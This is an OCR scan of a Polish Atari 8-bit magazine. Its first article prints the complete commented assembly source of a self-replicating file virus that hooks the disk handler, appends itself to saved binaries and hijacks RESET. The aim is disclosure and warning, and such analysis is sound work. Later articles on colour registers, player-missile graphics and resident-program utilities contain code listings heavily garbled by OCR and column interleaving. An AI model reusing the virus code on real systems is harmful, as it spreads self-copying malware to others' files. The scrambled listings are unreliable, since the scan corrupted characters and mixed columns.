Jest inaczej. 

Obecnie, w dobie komputerów 
osobistych 1 domowych, które dzia¬ 
łają autonomicznie po włączeniu do 
sieci i nie wymagają od użytkownika 
prawie żadnej wiedzy do ich urucho¬ 
mienia, znacznie trudniej Jest kon¬ 
trolować, co on tam naprawdę robi. 
Programy przenoszone są na dys¬ 
kietkach, z niewiedzy lub lenistwa 
nie zabezpieczonych przed zapisem. 
Nietrudno tak zaprogramować kom¬ 
puter, by coś zapisał na dyskietce 
bez wiedzy jej właściciela. Szczegól¬ 
na sytuacja prawna w naszym kraju 
zachęca do bezkarnego powielania 
programów. Można to porównać 
z rozwiązłością seksualną: liczne, 
chaotyczne 1 niekontrolowane konta¬ 
kty sprzyjają przenoszeniu chorób. 


Nie Jestem zwolennikiem wirusów, 
przeciwnie: walczę z nimi zaciekle. 
Tworzone są, jak sądzę, przez sza¬ 
leńców lub sadystów pozbawionych 
skrupułów. Ale trudno nie spostrzec 
także Ich korzystnego wpływu na ry¬ 
nek oprogramowania. Rośnie szacu¬ 
nek dla oficjalnych, solidnych sprze¬ 
dawców, spada zaufanie do pokąt- 
nych handlarzy, oferujących towar 
wątpliwej jakości. Strach przed infe¬ 
kcją wymusza wstrzemięźliwość. 

Poza wszystkim, abstrahując od 
etycznych "za" 1 "przeciw", wirusy sty¬ 
mulują rozwój wyrafinowanych tech¬ 
nik programowania oraz dostarczają 
satysfakcjonującego zajęcia 1 splen¬ 
doru rzeszom programistów zwal¬ 
czających zarazy. 

Wychodząc z założenia, że najstra¬ 
szniejszy Jest diabeł nieznany, pre¬ 
zentuję dziś Państwu wirusa, który 
zagnieździł się w redakcyjnych zaso¬ 
bach programów. W jaki sposób się 
tu dostał, pozostaje zagadką. Nim 
został wykryty, zainfekował niemal 
wszystkie często używane programy 
1 trudno zgadnąć ile dyskietek przy¬ 
jaciół, znajomych 1 nieznajomych. 
Drogi Czytelniku! Zbadaj uważnie 
swoje zasoby. Możesz go mleć i Ty. 

Wirus należy do grupy 'niedestru- 
ktywnych", to znaczy, że nie wbudo¬ 
wano weń sekwencji niszczących za¬ 
soby lub układy komputera. Nie oz¬ 
nacza to jednak, że Jest bezpieczny, 
powoduje bowiem zwiększenie roz¬ 
miaru plików, a więc prowadzi do 
nieoczekiwanego przepełniania dys¬ 
kietek, co może stanowić pośrednią 
przyczynę różnorakich kłopotów. 
W wyniku uruchomienia zainfekowa¬ 
nego programu wirus zagnieżdża się 
na szóstej stronie, skąd śledzi dysko¬ 
we operacje WE/WY, czujny, by dołą¬ 
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czyć swą kopię do każdego ZAPISY¬ 
WANEGO programu. Właściciele 
magnetofonów mogą spać spokojnie. 
Wirus atakuje tylko pliki w formacie 
DOS 1 tylko na urządzeniu ”D:". Jed¬ 
nak w przypadku skopiowania zara¬ 
żonego programu na kasetę do uży¬ 
cia z COS-em lub "wykrzyknikiem", 
może przetrwać lata w stanie utajo¬ 
nym, czekając, aż kupisz sobie sta¬ 
cję dysków, lub "sprzedasz" go kole¬ 
dze. 

Bezpośrednim, zamierzonym 
przez autora, objawem działania wi¬ 
rusa Jest zmiana reakcji komputera 
w przypadku naciśnięcia klawisza 
RESET. Wirus oducza radykalnie 
używania tego klawisza, przecho¬ 
dząc trwale do SELF TEST-u. Jedy¬ 
nym wyjściem po takim zdarzeniu 
może być wyłączenie komputera. Dla 
łych, którzy nie lubią tego robić (Jak 
ja), prawdziwa to męka. Po takim 
doświadczeniu niechętnie sięgamy 
do RESET-u, z czego radość dla wi¬ 
rusa, bo RESET go zabija. 

Ubocznym efektem działania intru¬ 
za może być zawieszanie się kompu¬ 
tera przy próbie umieszczenia pro¬ 
gramów na szóstej stronie (pamię¬ 
tajmy, że przez znajdującego się tam 
wirusa przebiega cała obsługa urzą¬ 
dzenia "D:"). Może też dać się zauwa¬ 
żyć nieznaczne spowolnienie opera¬ 
cji dyskowych, lecz nie musi. bo wi¬ 
rus napisany jest z dużym zna¬ 
wstwem tematu. Czasami "lekki" 
konflikt na szóstej stronie może spo¬ 
wodować wadliwe działanie proce¬ 
dur WE/WY, a w konsekwencji znisz¬ 
czenie zasobów na dyskietce. 

Zdeasemblowany kod wirusa zo¬ 
stał przeze mnie przełożony na 
standard Quick Assemblera, uzupeł¬ 
niony o deklaracje etykiet 1 komenta¬ 
rze: 


BOOT EQU $09 
DOSI EQU $0C 
FCNT EQU $1D 
BYTE EQU $1E 
DATA EQU $2F 
HTBS EQU $31A 
SELF EQU $C901 

ORG $600 

BEGN DTA A(BEGN) 

DTA A(BEGN+LGTH-1) 

Ten dziwny początek stanowi po¬ 
wtórzenie DOS-owego nagłówka, 
który w pliku binarnym znajdował 
się tuż przed nim. Ponieważ DOS nie 
ładuje nagłówka do pamięci, wirus 
w celach reprodukcyjnych sam musi 
zadbać o przechowanie jego wzoru. 


MAIN EQU * 

* ' D' entry search 
LDX #0 









DSRC LDA HTBS,X 
CMP #'D' 

BEQ FOUN 
INX 
INX 
INX 

CPX #36 
BCC DSRC 
RTS 

* trap table address 
FOUN LDA #6 page 6! 

CMP HTBS+2 ,X 
BEQ RETU 
LDY #1 

TTLP LDA HTBS+2,X 
STA ADDR,Y 
LDA MTAD , Y 
STA HTBS+2,X 
DEX 
DEY 

BPL TTLP 
RETU RTS 

Adres dotychczasowego handlera 
zostaje przechowany wewnątrz roz¬ 
kazu w procedurze DOPR, aby moż¬ 
na było w dalszym ciągu wykonywać 
operacje dyskowe. Jak gdyby nigdy 
nic. Wirus nie dba (podobnie Jak 
wielu autorów nadsyłanych do reda¬ 
kcji programów) o poprzednią za¬ 
wartość wektora DOSI i komórki 
BOOT. Ale w Jego przypadku Jest to 
uzasadnione: przybył, by sprawić 
kłopot. 

Tu kończy się część instalacyjna 
wirusa. Odnalazł on adres sterowni¬ 
ka "D:" I wymienił go na własny. 
Czynność ta nie jest wykonywana, 
jeżeli brak Jest wpisu urządzenia 
”D:" lub wirus został Już uprzednio 
zainstalowany. Można wykorzystać 
użytą tu metodę dla rozpoznania 
obecności wirusa: jeżeli starszy bajt 
adresu tablicy handlera D: Jest rów¬ 
ny 6, to najpewniej wirus Już siedzi 
w komputerze. Teraz następują ko¬ 
lejno nowe procedury obsługi "D:”. 


*-open 

XOPN LDA <SELF 
STA DOSI 
LDA >SELF 
STA DOSI+1 
LDY #2 
STY FCNT 
DEY 1 

STY BOOT 
BPL DOPR 


Jak widać, każde otwarcie pliku 
spowoduje ustawienie komórki BO¬ 
OT na 1, co zapewni skok przez we¬ 
ktor DOSI przy użyciu RESET. We¬ 
ktor DOSI zostaje skierowany na 
"wieczny SELF TEST". Inicjuje się 
przy okazji ważną komórkę: FCNT 
służy wirusowi do zbadania począt¬ 
ku zapisywanego pliku, czy zawiera 
2 bajty równe 255. Zakończenie po¬ 
lega na skoku do procedury DOPR 
z wartością 1 w rejestrze Y, co spo¬ 
woduje wywołanie oryginalnego 
OPEN - działanie wirusa pozostało 
niezauważone! 


* -put by te 

XPUT LDY FCNT 
DEY 

BMI GOPU 
CMP #255 
BEQ *+4 
LDY #255 
STY FCNT 
GOPU LDY #7 

BPL DOPR (JMP) 

Tu widzimy bardzo ciekawy trik: 
licznik FCNT przybiera wartość O po 
wysłaniu dwóch kolejnych bajtów 
równych 255. w każdym innym wy¬ 
padku zostaje ustawiony na 255. 
Obie te wartości zapobiegają dal¬ 
szym zmianom licznika. Posłuży on 
w procedurze CLOSE Jako znacznik 
typu pliku. Skok do DOPR z para¬ 
metrem 7 spowoduje wywołanie ory¬ 
ginalnej procedury PUT. 

* -close 

XCLO LDY FCNT 
BNE GOCL 
LDY #4 
STY BYTE 
JSR REPL 
LDY #0 
STY FCNT 
LDY CLGTH 
STY BYTE 
JSR REPL 
LDY CLGTH-6 
STY FCNT 
JSR REPL 
GOCL LDY #3 

BPL DOPR ( JMP ) 

Procedura CLOSE Jest prosta, lecz 
Jakże skuteczna! Wirus sprawdza tu 
typ pliku I wykonywanej na nim ope¬ 
racji: w przypadku odczytu 

FCNT=2, a gdy plik nie Jest binarny, 
to FCNT=255. Wtedy wirus "grzecz¬ 
nie" oddaje sterowanie do oryginal¬ 
nego CLOSE. Natomiast FCNT=0 
oznacza zapis pliku binarnego. 
W tym momencie wszystkie bajty 
oryginalnego pliku zostały już prze¬ 
słane, teraz kolej na wirusa! Nie jest 
to jednak proste, bo oprócz swego 
ciała, które znajduje się w pamięci, 
musi wygenerować także nagłówek 
I adres uruchomienia, potrzebne 
w przyszłym życiu. Został tu sprytnie 
wykorzystany licznik FCNT, który 
z początku ma wartość O. Oznacza on 
teraz miejsce w ciele wirusa, od któ¬ 
rego zaczyna się kopiowanie. Pomoc¬ 
nicza komórka BYTE określa koniec 
bloku, który należy zapisać. Początko¬ 
wy, czterobajtowy fragment kopiuje 
się dwa razy, aby dostarczyć nagłówek 
dla DOS-u I jego kopię dla przyszłych 
pokoleń. To samo dotyczy adresu ini- 
cjalizacji, z tyłu wirusa. Za zapisanie 
pojedynczego bloku danych odpowie¬ 
dzialna jest poniższa procedura: 

* -body repl 

LOOP INC FCNT 

LDA BEGN,Y 


JSR GOPU 
REPL LDY FCNT 
CPY BYTE 
BNE LOOP 
RTS 

Korzysta ona z procedury PUT 
oryginalnego handlera "D:". Odwoła¬ 
nia do standardowych procedur 
handlera zapewnia procedura 
DOPR. dla której parametrem Jest 
numer starszego baj tu odpowiednie¬ 
go adresu w tablicy handlera (a więc 
1 dla OPEN, 3 dla CLOSE, 5 dla 
GET itd.). 

* - do std proc 

XGET LDY #5 

BPL DOPR (JMP) 

XSTA LDY #9 

BPL DOPR (JMP) 

XSPE LDY #11 
DOPR STA DATA 
XADR LDA * , Y 
ADDR EQU *—2 
PHA 
DEY 
TYA 
ROR @ 

BCC XADR 
LDA DATA 
RTS 

Proszę zwrócić uwagę na oryginal¬ 
ną konstrukcję pętli, która zawsze 
wykona się dwa razy, niezależnie od 
wartości Y, byle była nieparzysta. 
Etykieta ADDR pokazuje argument 
poprzedzającego rozkazu LDA, 
modyfikowany podczas instalacji. 

* -new table 

MTAD DTA A (MYTA) 

MYTA DTA A(XOPN-l) 0 
DTA A(XCLO—1) 2 
DTA A(XGET-1) 4 
DTA A(XPUT-1) 6 
DTA A( XSTA—1) 8 
DTA A(XSPE—1) A 

XGET, XSTAI XSPE kierują pozo¬ 
stałe funkcje, których wirus nie po¬ 
trzebuje, do oryginalnego handlera 
"D:". 

* -init vect 

DTA A($2E2) 

DTA A( $2E3) 

DTA A(MAIN) 

* - total length 

LGTH EQU *-BEGN 

Ciało wirusa kończy się powy¬ 
ższym wzorem bloku lnicjalizacji, 
prawdziwy następuje tuż za nim: 

* -do it i 

ORG $2E2 
DTA A(MAIN) 

END 

To wszystko. Strzeżcie się! 


Janusz B. Wiśniewski 





Kolory - co wiemy, a czego 
jeszcze nie wiemy 

W trzeciej części naszego cyklu wspo¬ 
mnieliśmy o istnieniu dziewięciu reje¬ 
strów kolorów. Nie będziemy dokładnie 
omawiać struktury tych rejestrów, gdyż 
dokładne Informacje na ten temat ukaza¬ 
ły się w "Mapie Pamięci" (TA 6-7/92). 
Wnikliwy czytelnik "map pamięci" róż¬ 
nych autorów zauważy, że rejestry te ma¬ 
ją różne etykiety. My preferujemy nastę¬ 
pujące: 

ColpmO - Colpm3 ($D012-$D015) 
ColpfO - Colpf3 ($D016—$D019) 
Colbak ($D01A) 

oraz odpowiadające lm cienie: 

ColpmOs — Colpm3s ($2C0-$2C3) 
ColpfOs - Colpf3s ($2C4—$2C7) 
Colbaks ($2C8) 

Nazwy te są o tyle logiczne, że kojarzą 
się z pełnymi angielskimi nazwami reje¬ 
strów, np. Colbaks (COLor BAcKground 
Shadow register). 

Rejestr Colbak we wszystkich trybach 
ANTICa określa kolor tła. W trybach 
S02, S03 i SOF ANTICa punkt "zgaszony" 
przyjmuje kolor z rejestru Colpf2, nato¬ 
miast punkt "zapalony” kolor z Colpf2 
a Jasność z Colpf 1. W Innych trybach 
dwukolorowych, czyli w trybach S09, 
SOB i $0C punkt "zgaszony 1 przyjmuje 
kolor z Colbak, a punkt 'zapalony" z re¬ 
jestru ColpiO. W czterokolorowych try¬ 
bach S08, SOA, SOD 1 SOE ANTICa kolo¬ 
ry "zapalonych" punktów wybierane są 
z rejestrów ColpiO-Colpf2 a punkty zga¬ 
szone (czyli tło) przyjmują kolor Colbak. 
W trybach tekstowych S06 i $07 ANTICa 
kolor wszystkich plxeli znaku Jest wybie¬ 
rany według dwóch najstarszych bitów 
znaku z rejestrów ColplO-ColpI3. W po¬ 
zostałych tekstowych trybach S04 i $05 
znaki są wielokolorowe. Kolory poszcze¬ 
gólnych pixeli ustalane są według reje¬ 
strów Colbak 1 ColpIO-ColpI2. Ustawiony 
bit 7 numeru znaku spowoduje ustale¬ 
nie kolorów pixeli według rejestrów Col¬ 
bak, ColpiO, Colpfl 1 ColpI3. Jak widać 
w trybach tych można osiągnąć plęclo- 
kolorowe znaki, lub po przedeflnlowanlu 
zestawu znaków - dokładną plęclokolo- 
rową grafikę. Dlatego też tryby te wyko¬ 
rzystywane są w grach, np. we Fredzie 
1 Misji. 

Dodatkowe tryby graficzne 

Zerknijmy do numeru 4/92 TA, do 
pierwszego odcinka naszego cyklu "Pi¬ 
szemy Demo". Zamieściliśmy tam tabelę 
zestawiającą tryby ANTICa z trybami OS. 
Jak wynika z tej tabeli tryby OS od $09 
do $0B nie są możliwe do uzyskania 
przy pomocy samego ANTICa. Aby wy¬ 
świetlić linię obrazu w trybach S09-SOB 
OS należy umieścić w Display List war¬ 
tość SOF oznaczającą tryb S08 OS oraz 
odpowiednio ustawić bity 6-7 w reje¬ 
strze Gtlactl (SD01B) czyli w rejestrze 
kontroli układu GTIA. Rejestr ten posła- 



da również swój cień Gtlctls ($26F). Bity 


Sta 

Pomoc 

należy ustawić według poniższej tabeli: 


Adc 

#$20 




Sta 

Pomoc2 

bity 6—7 

1 tryb OS 


Bcc 

L3 

00 

$08 


Inc 

Pomoc2+$01 

01 

$09 

L3 

Dex 


10 

$0A 


Bpi 

LI 

11 

$ob 







Ldx 

<Dlist 

Tryby S09-S0B OS są Jedynymi tryba¬ 


Ldy >Dlist 

mi wielokolorowymi. W trybie S09 OS 


Stx Dlptrs 

kolor pixeli pobierany Jest z rejestru Col¬ 


Sty Dlptrs+$01 

bak. Tylko w tym trybie możliwe Jest uzy- 


Lda 

#$40 

skanie 16 

odcieni tego samego koloru 


Sta 

Gtictls 

w jednej linii ekranu. Przy umiejętnym 


Lda 

#$00 

połączeniu tego trybu z przerwaniem Di¬ 


Sta 

Pomoc 

splay List możliwe Jest osiągnięcie 256 


Ldx 

<Przerw 

kolorów na raz na ekranie, co prezentuje 


Ldy 

>Przerw 

poniższy program: 


Lda 

#$C0 




Stx 

Dliv 

Program 

Egu $8800 


Sty 

Dliv+$0l 




Sta 

Nmien 

List mem Egu %00000110 


Rts 


List err Equ %00000101 




Codę mem Equ %00010000 

Przerw 

Pha 


Codę dsk Egu %00100000 


Lda 

Pomoc 




Cle 


Colbak 

Equ $D01A 


Adc 

#$10 

Dliv 

Equ $0200 


Sta 

Pomoc 

Dlptrs 

Equ $0230 


Sta 

Wsync 

Gtictls 

Equ $026F 


Sta 

Colbak 

Nmien 

Equ $D40E 


Pla 


Wsync 

Egu $D40A 


Rti 


Pomoc 

Equ $F0 

Dane o 

Dta 

B($00),B($00) 

Pomoc2 

Equ $F2 


Dta 

B($01),B($11) 




Dta 

B($10),B($22) 


Opt List err+Code mem 


Dta 

B( $22),B($03) 


Org Program 


Dta 

B( $33),B($30) 




Dta 

B($44),B($44) 


Ldx <Przep 


Dta 

B($05),B($55) 


Ldy >Przep 


Dta 

B($50),B($66) 


Stx Pomoc 


Dta 

B($66),B($07) 


Sty Pomoc+$0l 


Dta 

B($77),B($70) 


Ldx <Wpisz 


Dta 

B($88),B($88) 


Ldy >Wpisz 


•jDta 

B($09),B($99) 


Stx Pomoc2 


Dta 

B($90) ,B($AA) 


Sty Pomoc2+$01 


Dta 

B($AA),B($0B) 




Dta 

B($BB),B($B0) 


Ldx #$0E 


Dta 

B($CC),B($CC) 

LI 

Ldy #$22 


Dta 

B($0D),B($DD) 

L2 

Lda (Pomoc),y 


Dta 

B($D0),B($EE) 


Sta (Pomoc2),y 


Dta 

B($EE),B($0F) 


Dey 


Dta 

B($FF),B($F0) 


Bpi L2 





Lda Pomoc2+$01 

Dlist 

Dta 

B($70),B($70) 


Sta Pomoc+$01 

Przep 

Dta 

B($80),B($00) 


Cle 


Dta 

B($4F),A(Dane o) 


Lda Pomoc2 


Dta 

B($4F),A(Dane o) 


$19 




Wpisz 


Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($4F),A(Dane_o) 
Dta B($41),A(Dlist) 

End of File 


PHDMSiee 


Od etykiety DLlst znajduje się Display 
List. Bajty między etykietami Przep 
1 Wpisz tworzą rząd prostokątów w tym 
samym kolorze o różnych odcieniach. 
Dane pamięci obrazu umieszczone są od 
etykiety Dane_o. Po uruchomieniu pro¬ 
gram powiela część Display List tak, aby 
ANTIC mógł wyświetlić 16 rzędów pro¬ 
stokątów. W każdym rzędzie prostoką¬ 
tów wywoływane Jest przerwanie Display 
List (etykieta Przerw) modyfikujące re¬ 
jestr Colbak. 

W trybie 
SOA OS ma¬ 
ksymalnie 
można osiąg¬ 
nąć dziewięć 
różnych barw 
o różnych jas¬ 
nościach 1 ko¬ 
lorach wyko¬ 
rzystując 
wszystkie re¬ 
jestry kolo¬ 
rów. Nato¬ 
miast w trybie 
SOB jasność 
plxell pobie¬ 
rana jest z re¬ 
jestru Colbak. 

Tylko w tym 
trybie możli¬ 
we jest więc 
uzyskanie 16 
kolorów 
w tych sa¬ 
mych Jasno¬ 
ściach. 


ra. PMG może wykorzystybać Jedno- lub 
dwukllobajtowy obszar pamięci w zależ¬ 
ności od rozdzielczości wyświetlanych 
obiektów. Mówi się o rozdzielczości Jed- 
nollnlowęj 1 dwullnlowęj. Przy rozdziel¬ 
czości jednollnlowej GTIA korzysta 
z 2 kilobajtów pamięci 1 każdy plxel obie¬ 
ktu ma wysokość Jednej fizycznej linii 
ekranu. Przy rozdzielczości dwullnlowęj 
wykorzystywany Jest obszar o rozmiarze 
Jednego kilobajta 1 pojedynczy plxel obie¬ 
ktu wysoki Jest na dwie linie ekranu. 
W rejestrze Dmactl bit 4 odpowiada za 
rozdzielczość graczy 1 pocisków. Usta¬ 
wiony włącza rozdzielczość Jednollnlową. 
Bity 2 1 3 Dmactl nie opisane dotąd 
przez nas kontrolują bezpośredni dostęp 
do pamięci przez PMG. Bit 2 określa 
DMA dla pocisków (bit ustawiony - DMA 
włączony), natomiast bit 3 - DMA dla 
graczy. Przy korzystaniu z PMG należy 
odpowiednie bity ustawić. 

Organizacja pamięci 


Rozdzielczość 

dwu1iniowa Jednoliniowa 



nieużywane 

M3 | M2 | Ml 

| M0 

PLAYER 

0 

PLAYER 

1 

PLAYER 

2 

PLAYER 

3 



nieużywane 


M3 


M2 


Ml 


MB 


PLAYER B 


PLAYER 

1 

PLAYER 

2 

PLAYER 

3 


+S30G 


+ 54.00 


+5500 


+ 5600 


+5700 


+5see 


Gracze i pociski 

Układ GTIA zajmuje się nie tylko ko¬ 
lorami. Innym ważnym zadaniem GTIA 
Jest obsługa PMG (Player-Mlsslle Grap¬ 
hics - grafika graczy 1 pocisków). Grafi¬ 
ka ta umożliwia umieszczenie na ekra¬ 
nie czterech obiektów o szerokości 
8 punktów (gracze) 1 czterech obiektów 
o szerokości 2 punktów (pociski). Obie¬ 
kty te mogą pojawić się na ekranie we 
wszystkich trybach graficznych oprócz 
$09-$0B OS. Można Je z łatwością po¬ 
ruszać 1 kontrolować zderzenia między 
nimi oraz elementami grafiki. 

Dmactl a PMG 

Podobnie Jak normalna grafika posia¬ 
da wydzielone miejsce pamięci na dane 
tak 1 PMG wykorzystuje odpowiednio 
zorganizowaną część pamięci kompute- 


Powyższy rysunek przedstawia organi¬ 
zację pamięci PMG (rysunek wykonano 
przy pomocy Panthera). 

Pmbase na rysunku oznacza numer 
strony, od początku której znajduje się 
pamięć dla graczy 1 pocisków. Wartość ta 
musi być podzlelna przez 4 dla rozdziel¬ 
czości dwullnlowęj 1 podzlelna przez 
8 dla rozdzielczości jednollnlowej. Otrzy¬ 
maną liczbę należy wpisać do rejestru 
Pmbase (SD407) aby poinformować 
GTIA skąd ma pobierać dane. W roz¬ 
dzielczości Jednollnlowej gracz zajmuje 
$100 bajtów pamięci, w rozdzielczości 
dwullnlowęj - $80 bajtów. Pojedynczy 
bajt w tym obszarze odpowiada ośmiu 
poziomym punktom gracza. Każdy usta¬ 
wiony bit w tym bajcie spowoduje wy¬ 
świetlenie punktu. Aby gracz pojawił się 
na dole ekranu należy dane wpisywać 
pod koniec obszaru pamięci wydzielone¬ 
go dla gracza. Analogicznie gracz pojawi 
się na górze ekranu, gdy dane wpisywa¬ 
ne będą na początek tego obszaru. 


W praktyce nie można zobaczyć wszy¬ 
stkich danych dla gracza, gdyż część 
z nich nie mieści się na ekranie. Dla 
czterech pocisków przeznaczony Jest takt 
sam obszar pamięci co dla Jednego gra¬ 
cza. Kolejne pary bitów pojedyn czego 
bajtu danych definiują wygląd jednej linii 
kolejnych pocisków. 

Pierwszy gracz na ekranie 

Po ustaleniu rozdzielczości PMG 1 ob¬ 
szaru pamięci oraz po wpisaniu danych 
graczy w ustalone obszary pamięci należy 
zaktywizować grafikę PMG. W tym celu 
należy ustawić odpowiednie bity w reje¬ 
strze Pmcntl ($D01D). Ustawiony bit 
0 spowoduje zainicjowanie pocisków, na¬ 
tomiast bit 1 pełni tę samą funkcję dla 
graczy. 

Po wykonaniu tych czynności należy 
ustalić pozycję poziomą graczy 1 poci¬ 
sków. Każdy gracz 1 każdy pocisk posia¬ 
da odrębny rejestr, do którego wpisywa¬ 
ne są wartości pozycji poziomej. W reje¬ 
strach tych nie można przechowywać 
wartości pozycji, ponieważ przy odczycie 
rejestry pełnią Inne funkcje. Dlatego też 
wartości pozycji należy przechowywać 
w innych komórkach pamięci. Rejestry te 
umieszczone są od adresu $DOOO- 
$D007: 

HpospO—Hposp3 ($D000—$D003) 

— pozioma pozycja gracza 0—3 
HposmO—Hposm3 ($D004—$D007) 

— pozioma pozycja pocisku 0—3 

Pojedynczego gracza można rozszerzyć 
dwukrotnie lub czterokrotnie. Dotyczy to 
również pocisków. Aby to uczynić konie¬ 
czne jest wpisanie do odpowiednich reje¬ 
strów następujących wartości: 

0 — dla normalnej szerokości 
1 — dla podwójnej szerokości 
3 — dla poczwórnej szerokości 

Rejestry kontroli szerokości: 

SizepO—Sizep3 ($D008-$D00B) 

— szerokość gracza 0—3 
Sizem ($D00C) — szerokość 
pocisków 

Kolejnym krokiem powinno być ustale¬ 
nie kolorów obiektów. 

Poniższy program pokazuje gracza 
0 na środku ekranu: 


Program 

Egu 

$8800 

List mem 

Equ 

%00000110 

List err 

Equ 

%00000101 

Codę mem 

Egu 

%00010000 

Codę dsk 

Equ 

%00100000 

Colpm0s 

Equ 

$02C0 

Dmactls 

Equ 

$022F 

Hposp0 

Equ 

$D000 

Pmbase 

Equ 

$D407 

Pmcntl 

Equ 

$D01D 

Sizep0 

Equ 

$D008 

Players 

Egu 

$A000 


Opt Liśt_err+Code_mem 



LI 


L2 


Sta Players+$400,x 
Inx 

Bne LI 

Ldx #$0B 

Lda Dane,x 

Sta Players+$478,x 

Dex 

Bpi L2 

Lda #$3E 

Sta Dmactls 

Lda >Players 

Sta Pmbase 

Lda #$02 

Sta Pmcntl 

Lda #$78 

Sta Hposp0 

Lda #$00 

Sta Sizep0 

Lda # $0E 

Sta Colpm0s 

Rts 


Dane 


Dta B($18),B($24) 
Dta B($42),B($81) 
Dta B($A5),B($A5) 
Dta B($81),B($81) 
Dta B($99),B($42) 
Dta B($24),B($18) 


End of File 


W kolejnym artykule będziemy konty¬ 
nuować rozważania nad PMG. 

Tomasz Bielak , 
Rafał Bielecki [ 



Ireneusz Pełech z Polkowic 

Program "Wklepywać/." autor¬ 
stwa pana Stanisława Drozdy pre¬ 
zentowany w rubryce ”5 linii' w TA 
5/92 nie działa poprawnie z " Gene¬ 
ratorem Kodów Kontrolnych". Spo¬ 
wodowane jest to użyciem w 1 linii 
instrukcji GR. O, która kasuje 
ekran, a także wyłącza " GKK ", 

Poniżej podaję jak powinna wy¬ 
glądać pierwsza linia, ażeby pro¬ 
gramy te współpracowały ze sobą 
bez żadnych przeszkód: 

VZ 1 DIM A$(12):GRAPHICS 0:7 USR 
(35999):LIST:K=PEEK(84)-1:FOR 
1=2 to 5:LOCATE I,K,X:A$(1-1) 
=CHR$(X):NEXT I 

Program w takiej Jormle nie bę¬ 
dzie działał poprawnie bez "GKK” 



Programy MARK 1 RELEASE tworzą 
zestaw przeznaczony do obsługi tzw. na¬ 
kładek. Programy tego typu po wczyta¬ 
niu przyklejają się do DOS'a poprzez 
zmianę niektórych wektorów systemo¬ 
wych 1 pozostają stale obecne w pamięci, 
oferując różne udogodnienia. Różnego 
typu nakładki były wielokrotnie publiko¬ 
wane na łamach TA. 

O Ile zainstalowanie nakładki nie 
przedstawia większych problemów, to 
pozbycie się jej z pamięci bywa niekiedy 
niemożliwe. Niektórzy autorzy w ogóle 
nie uwzględniają tej opcji w swoich pro¬ 
gramach, wychodząc prawdopodobnie 
z założenia "razem aż do śmierci" (do zi¬ 
mnego startu). 

Jak wiadomo, chcąc odlnstalować 
nakładkę trzeba znać stan systemu 
przed Jej zainstalowaniem. Temu właś¬ 
nie służy program MARK: po wczytaniu 
bada on stan wektorów systemu opcra- 
cyjnego oraz DOS'u (COS'u). a uzyska¬ 
ne dane zapisuje w pamięci komputera 
do późniejszego użytku. Te Informacje 
są zapisywane Jako specyficzna nakład¬ 
ka, która nie spełnia żadnych Innych 
funkcji poza tym, że Istnieje 1 potrafi się 
ochronić podczas RESET'u podnosząc 
nad siebie MEMLO. Zajmuje ona bar¬ 
dzo mało miejsca, bo przeciętnie tylko 
około 30 bajtów. 

Po zaMARKowantu stanu systemu 
można Już wczytywać dowolne nakładki 
w dowolnej Ilości. Gdy nam się znudzi 
Ich obecność, uruchamiamy program 
RELEASE. Odszukuje on w pamięci 
zainstalowaną tam MARKę 1 na jej pod¬ 
stawie odtwarza stan wektorów systemo¬ 
wych oraz zwalnia pamięć przesuwając 
MEMLO na pozycję sprzed MARKowa- 
nla. Usuwa to zarówno MARKę, Jak 
1 wszystkie później wczytane nakładki. 


W wypadku, gdy mamy kilka progra¬ 
mów rezydentnych 1 nie chcemy usuwać 
wszystkich naraz, trzeba Je wczytywać 
przeplatając MARKowanlem: MARK, na¬ 
kładka, MARK, Inna nakładka... Takie 
postępowanie Jest możliwe dzięki temu, 
że RELEASE odszukuje 1 usuwa ostatnią 
MARKę, pozostawiając bez zmian po¬ 
przednie. Mając zainstalowane np. dwie 
MARKI trzeba dwa razy użyć programu 
RELEASE. aby usunąć obie. Można to 
porównać ze stosem talerzy-nakładek 
poprzedzielanych deseczkaml-MARKa- 
ml: podnosząc do góry najwyższą desecz¬ 
kę (RELEASE) podnosimy razem z nią 
tylko te talerze, które zostały na stos po¬ 
łożone później nlz ona sama. Chcąc pod¬ 
nieść następne talerze, trzeba zdejmować 
kolejne deseczki. 

Programy MARK 1 RELEASE są przy¬ 
stosowane do nakładek, które Instalują 
się poprzez wplecenie się w przerwania 
lub w procedury obsługi urządzeń (tabli¬ 
ca HATABS). Nie będą więc działać z na¬ 
kładkami, które przepisują system ope¬ 
racyjny lub BASIC z ROM'u do RAM'u 
1 tam modyfikują Jego treść. 

Starałem się uczynić te programy od¬ 
pornymi na błędy 1 pomyłki. Nie da się 
zaMARKować dwa razy tego samego 
miejsca (prowadziłoby to do niepotrze¬ 
bnego zużycia pamięci). RELEASE przed 
odtworzeniem wektorów sprawdza for¬ 
malną postać MARKI - Jest to zabezpie¬ 
czenie na wypadek uszkodzenia Jej za¬ 
wartości przez Jakiś nieodpowiedzialny 
program nie zwracający uwagi na MEM¬ 
LO. Odtwarzanie stanu systemu według 
popsutej MARKI na pewno doprowadzi¬ 
łoby do Jego zawieszenia. 


Wojciech Palacz 
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765, $02fd FILDAT 


Rejestr używany podczas wypełniania obszaru komen¬ 
dą FILL, dostępną z BASIC-a za pośrednictwem XIO. 

766, $02fe DSPFLG 

Znacznik sposobu wyświetlania znaków sterujących. 
Normalnie zawiera zero. co powoduje, że znaki sterujące 
wykonują swoje naturalne funkcje takie. Jak przesuwanie 
kursora, czy też czyszczenie ekranu. Konsekwencją wpisa¬ 
nia do DSPFLG dowolnej wartości nlezerowej Jest wyświet¬ 
lanie tych znaków. Możemy wtedy zobaczyć na ekranie 
strzałki kursora, znaki czyszczenia ekranu ltp. 

767, $02ff SSFLAG 

Znacznik zatrzymania wyświetlania, używany podczas 
przewijania ekranu, rysowania ltp. Normalnie zawiera 
zero, co oznacza, że wyświetlanie ma się odbywać w spo¬ 
sób nieprzerwany. Wartość 255 powoduje zatrzymanie 
wyświetlania, aż do momentu ponownego wyzerowania 
komórki SSFLAG. Kombinacja CONTROL 1 "1”, o której 
już pisałem zamienia wszystkie bity danej w SSFLAG na 
przeciwne, powodując, że przyjmuje ona na przemian 
wartość 255 lub O i w konsekwencji zatrzymując 1 wzna¬ 
wiając wyświetlanie. 

System operacyjny komputerów ATARI XL/XE jest 
bardzo elastyczny, jeśli chodzi o operacje wejścla/wy- 
Jścla. Jego twórcy stwierdzili, że użytkownik powinien 
mleć możliwość łatwego dostosowania procedur komu¬ 
